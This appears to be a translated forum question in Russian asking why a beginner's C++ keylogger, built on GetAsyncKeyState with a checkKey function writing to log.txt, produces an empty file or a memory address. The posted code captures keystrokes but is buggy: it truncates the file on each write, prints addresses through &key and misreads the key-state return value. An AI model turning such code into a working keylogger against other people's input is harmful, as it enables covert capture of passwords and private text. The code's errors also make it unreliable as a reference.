Итак, я решил, что хочу написать небольшой кейлоггер сегодня вечером, просто чтобы узнать о getAsyncKeyState. Я пытаюсь заставить мой журнал записывать в файл, но содержимое файла либо отображается пустым, либо выбрасывает случайный адрес памяти (0x28fef0 раньше). Я слышал, что getAsyncKeyState плохо работает с Windows 7 x64, это правда?
Это довольно обидно, я надеялся, что смогу запустить это сегодня вечером.
while(1)
{
Sleep(20);
for(DWORD_PTR key = 8; key <= 190; key++)
{
if (GetAsyncKeyState(key) == HC_ACTION)
checkKey(key);
}
}
Определение функции
void checkKey(DWORD_PTR key)
{
ofstream out;
out.open("log.txt");
if (key==8)
out << "[del]";
if (key==13)
out << "n";
if (key==32)
out << " ";
if (key==VK_CAPITAL)
out << "[CAPS]";
if (key==VK_TAB)
out << "[TAB]";
if (key==VK_SHIFT)
out << "[SHIFT]";
if (key==VK_CONTROL)
out << "[CTRL]";
if (key==VK_PAUSE)
out << "[PAUSE]";
if (key==VK_ESCAPE)
out << "[ESC]";
if (key==VK_END)
out << "[END]";
if (key==VK_HOME)
out << "[HOME]";
if (key==VK_LEFT)
out << "[LEFT]";
if (key==VK_UP)
out << "[UP]";
if (key==VK_RIGHT)
out << "[RIGHT]";
if (key==VK_DOWN)
out << "[DOWN]";
if (key==VK_SNAPSHOT)
out << "[PRINT]";
if (key==VK_NUMLOCK)
out << "[NUM LOCK]";
if (key==190 || key==110)
out << ".";
if (key >=96 && key <= 105)
{
key -= 48;
out << &key; // had ampersand
}
if (key >=48 && key <= 59)
out << &key; // amp'd
if (key !=VK_LBUTTON || key !=VK_RBUTTON)
{
if (key >=65 && key <=90)
{
if (GetKeyState(VK_CAPITAL))
out << &key; // amp;d
else
{
key = key +32;
out << &key; // amp'd
}
}
}
}
Я серьезно озадачен этой проблемой, и любая помощь будет принята с благодарностью. Почему такая функция работает в 64-битной системе иначе? Учитывая, что это единственное окно, которое у меня есть, я не могу запустить его на 32-битной системе, чтобы проверить, является ли это изолированной проблемой. Поскольку я предполагаю, что это связано с getAsyncKeyState, а не с моим кодом (который компилирует и создает пустой файл журнала), я включил только эти два фрагмента кода.